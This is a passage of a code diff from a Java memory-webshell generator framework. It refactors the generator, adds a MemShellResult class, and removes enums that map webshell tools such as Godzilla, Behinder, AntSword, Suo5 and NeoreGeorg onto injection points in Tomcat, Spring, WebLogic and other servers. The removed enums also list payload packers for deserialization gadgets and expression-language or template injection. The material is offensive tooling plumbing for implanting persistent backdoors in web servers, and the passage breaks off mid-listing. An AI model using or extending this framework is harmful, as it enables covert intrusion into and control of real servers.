.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||||
|
.byPassJavaModule(shellConfig.isByPassJavaModule())
|
||||||
|
.shrink(shellConfig.isShrink())
|
||||||
|
.debug(shellConfig.isDebug())
|
||||||
|
.staticInitialize(injectorConfig.isStaticInitialize())
|
||||||
|
.build();
|
||||||
|
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||||
|
.server(serverName)
|
||||||
|
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
|
||||||
|
.build();
|
||||||
|
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
|
||||||
|
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
|
||||||
|
}
|
||||||
|
|
||||||
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
|
||||||
return GenerateResult.builder()
|
return MemShellResult.builder()
|
||||||
.shellConfig(shellConfig)
|
.shellConfig(shellConfig)
|
||||||
.shellToolConfig(shellToolConfig)
|
.shellToolConfig(shellToolConfig)
|
||||||
.injectorConfig(injectorConfig)
|
.injectorConfig(injectorConfig)
|
||||||
@@ -54,25 +94,7 @@ public class MemShellGenerator {
|
|||||||
.shellBytes(shellBytes)
|
.shellBytes(shellBytes)
|
||||||
.injectorClassName(injectorConfig.getInjectorClassName())
|
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||||
.injectorBytes(injectorBytes)
|
.injectorBytes(injectorBytes)
|
||||||
|
.injectorInnerClassBytes(innerClassBytes)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|
||||||
private static byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
switch (shellConfig.getShellTool()) {
|
|
||||||
case Godzilla:
|
|
||||||
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
|
||||||
case Command:
|
|
||||||
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
|
|
||||||
case Behinder:
|
|
||||||
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
|
||||||
case Suo5:
|
|
||||||
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
|
||||||
case AntSword:
|
|
||||||
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
|
||||||
case NeoreGeorg:
|
|
||||||
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
|
|
||||||
default:
|
|
||||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/24
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
@Builder(builderClassName = "Builder")
|
||||||
|
public class MemShellResult {
|
||||||
|
private String shellClassName;
|
||||||
|
private transient byte[] shellBytes;
|
||||||
|
private long shellSize;
|
||||||
|
private String shellBytesBase64Str;
|
||||||
|
private String injectorClassName;
|
||||||
|
private transient byte[] injectorBytes;
|
||||||
|
private transient Map<String, byte[]> injectorInnerClassBytes;
|
||||||
|
private long injectorSize;
|
||||||
|
private String injectorBytesBase64Str;
|
||||||
|
private ShellConfig shellConfig;
|
||||||
|
private ShellToolConfig shellToolConfig;
|
||||||
|
private InjectorConfig injectorConfig;
|
||||||
|
|
||||||
|
public static class Builder {
|
||||||
|
public MemShellResult build() {
|
||||||
|
if (shellBytes != null) {
|
||||||
|
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
|
||||||
|
shellSize = shellBytes.length;
|
||||||
|
}
|
||||||
|
if (injectorBytes != null) {
|
||||||
|
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
||||||
|
injectorSize = injectorBytes.length;
|
||||||
|
}
|
||||||
|
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||||
|
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public JarPackerConfig toJarPackerConfig() {
|
||||||
|
JarPackerConfig jarPackerConfig = new JarPackerConfig();
|
||||||
|
jarPackerConfig.setMainClassName(injectorClassName);
|
||||||
|
Map<String, byte[]> bytes = new HashMap<>();
|
||||||
|
bytes.put(shellClassName, shellBytes);
|
||||||
|
bytes.put(injectorClassName, injectorBytes);
|
||||||
|
if (injectorInnerClassBytes != null) {
|
||||||
|
bytes.putAll(injectorInnerClassBytes);
|
||||||
|
}
|
||||||
|
jarPackerConfig.setClassBytes(bytes);
|
||||||
|
return jarPackerConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
public ClassPackerConfig toClassPackerConfig() {
|
||||||
|
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||||
|
classPackerConfig.setClassName(injectorClassName);
|
||||||
|
classPackerConfig.setClassBytes(injectorBytes);
|
||||||
|
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
|
||||||
|
if (shellConfig != null) {
|
||||||
|
classPackerConfig.setByPassJavaModule(shellConfig.needByPassJavaModule());
|
||||||
|
}
|
||||||
|
return classPackerConfig;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,139 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.packer.BCELPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.XxlJobPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
|
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
|
||||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.rhino.RhinoPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
|
|
||||||
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
|
|
||||||
import lombok.Getter;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Objects;
|
|
||||||
import java.util.stream.Collectors;
|
|
||||||
import java.util.stream.Stream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/23
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public enum Packers {
|
|
||||||
/**
|
|
||||||
* Base64
|
|
||||||
*/
|
|
||||||
Base64(new Base64Packer()),
|
|
||||||
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
|
|
||||||
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
|
||||||
|
|
||||||
Jar(new DefaultJarPacker()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* BCEL
|
|
||||||
*/
|
|
||||||
BCEL(new BCELPacker()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* JSP 打包器
|
|
||||||
*/
|
|
||||||
JSP(new JspPacker()),
|
|
||||||
DefaultJSP(new DefalutJspPacker(), JspPacker.class),
|
|
||||||
JSPX(new JspxPacker(), JspPacker.class),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 脚本引擎打包器
|
|
||||||
*/
|
|
||||||
ScriptEngine(new ScriptEnginePacker()),
|
|
||||||
Rhino(new RhinoPacker()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* EL
|
|
||||||
*/
|
|
||||||
EL(new ELPacker()),
|
|
||||||
OGNL(new OGNLPacker()),
|
|
||||||
MVEL(new MVELPacker()),
|
|
||||||
Aviator(new AviatorPacker()),
|
|
||||||
JXPath(new JXPathPacker()),
|
|
||||||
JEXL(new JEXLPacker()),
|
|
||||||
BeanShell(new BeanShellPacker()),
|
|
||||||
|
|
||||||
SpEL(new SpELPacker()),
|
|
||||||
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
|
||||||
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
|
||||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
|
||||||
|
|
||||||
Groovy(new GroovyPacker()),
|
|
||||||
Freemarker(new FreemarkerPacker()),
|
|
||||||
Velocity(new VelocityPacker()),
|
|
||||||
JinJava(new JinJavaPacker()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Java 反序列化打包器
|
|
||||||
*/
|
|
||||||
JavaDeserialize(new JavaDeserializePacker()),
|
|
||||||
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
|
|
||||||
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
|
||||||
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
|
||||||
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
|
||||||
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Hessian 反序列化打包器
|
|
||||||
*/
|
|
||||||
Hessian2Deserialize(new Hessian2Packer()),
|
|
||||||
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
|
|
||||||
|
|
||||||
HessianDeserialize(new HessianPacker()),
|
|
||||||
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
|
||||||
|
|
||||||
AgentJar(new AgentJarPacker()),
|
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
|
||||||
;
|
|
||||||
private final Packer instance;
|
|
||||||
private Class<?> parentPacker = null;
|
|
||||||
|
|
||||||
Packers(Packer instance) {
|
|
||||||
this.instance = instance;
|
|
||||||
}
|
|
||||||
|
|
||||||
Packers(Packer instance, Class<?> parentPacker) {
|
|
||||||
this.instance = instance;
|
|
||||||
this.parentPacker = parentPacker;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Packer getPacker(Packers packerType) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
|
||||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,268 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.server.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandWebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerFunction;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaHandlerMethod;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
|
|
||||||
import lombok.Getter;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
|
||||||
import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/22
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public enum Server {
|
|
||||||
/**
|
|
||||||
* Tomcat 中间件
|
|
||||||
*/
|
|
||||||
Tomcat(new TomcatShell()),
|
|
||||||
/**
|
|
||||||
* Jetty 中间件
|
|
||||||
*/
|
|
||||||
Jetty(new JettyShell()),
|
|
||||||
/**
|
|
||||||
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
|
||||||
*/
|
|
||||||
JBossAS(new JbossShell()),
|
|
||||||
JBossEAP6(new JbossShell()),
|
|
||||||
/**
|
|
||||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
|
||||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
|
||||||
*/
|
|
||||||
Undertow(new UndertowShell()),
|
|
||||||
JBossEAP7(new UndertowShell()),
|
|
||||||
WildFly(new UndertowShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* SpringMVC 框架
|
|
||||||
*/
|
|
||||||
SpringWebMvc(new SpringWebMvcShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Spring WebFlux 框架
|
|
||||||
*/
|
|
||||||
SpringWebFlux(new SpringWebFluxShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* WebSphere 中间件
|
|
||||||
*/
|
|
||||||
WebSphere(new WebSphereShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* WebLogic 中间件
|
|
||||||
*/
|
|
||||||
WebLogic(new WebLogicShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
|
|
||||||
*/
|
|
||||||
Resin(new ResinShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* GlassFish 中间件
|
|
||||||
*/
|
|
||||||
GlassFish(new GlassFishShell()),
|
|
||||||
Payara(new GlassFishShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 宝兰德中间件
|
|
||||||
*/
|
|
||||||
BES(new BesShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 东方通中间件
|
|
||||||
*/
|
|
||||||
TongWeb6(new TongWeb6Shell()),
|
|
||||||
TongWeb7(new TongWeb7Shell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 金蝶天燕中间件
|
|
||||||
*/
|
|
||||||
Apusic(new ApusicShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 中创中间件
|
|
||||||
*/
|
|
||||||
InforSuite(new InforSuiteShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* XXL-JOB
|
|
||||||
*/
|
|
||||||
XXLJOB(new XxlJobShell());
|
|
||||||
|
|
||||||
private final AbstractShell shell;
|
|
||||||
|
|
||||||
Server(AbstractShell shell) {
|
|
||||||
this.shell = shell;
|
|
||||||
}
|
|
||||||
|
|
||||||
static {
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
|
||||||
.addShellClass(FILTER, GodzillaFilter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
|
|
||||||
.addShellClass(LISTENER, GodzillaListener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
|
|
||||||
.addShellClass(VALVE, GodzillaValve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
|
||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, BehinderServlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
|
|
||||||
.addShellClass(FILTER, BehinderFilter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
|
|
||||||
.addShellClass(LISTENER, BehinderListener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
|
|
||||||
.addShellClass(VALVE, BehinderValve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, AntSwordServlet.class)
|
|
||||||
.addShellClass(FILTER, AntSwordFilter.class)
|
|
||||||
.addShellClass(LISTENER, AntSwordListener.class)
|
|
||||||
.addShellClass(VALVE, AntSwordValve.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, CommandServlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
|
|
||||||
.addShellClass(FILTER, CommandFilter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
|
|
||||||
.addShellClass(LISTENER, CommandListener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
|
|
||||||
.addShellClass(VALVE, CommandValve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, CommandValve.class)
|
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
|
||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
|
||||||
.build());
|
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
|
||||||
.addShellClass(SERVLET, Suo5Servlet.class)
|
|
||||||
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
|
|
||||||
.addShellClass(FILTER, Suo5Filter.class)
|
|
||||||
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
|
|
||||||
.addShellClass(LISTENER, Suo5Listener.class)
|
|
||||||
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
|
|
||||||
.addShellClass(VALVE, Suo5Valve.class)
|
|
||||||
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
|
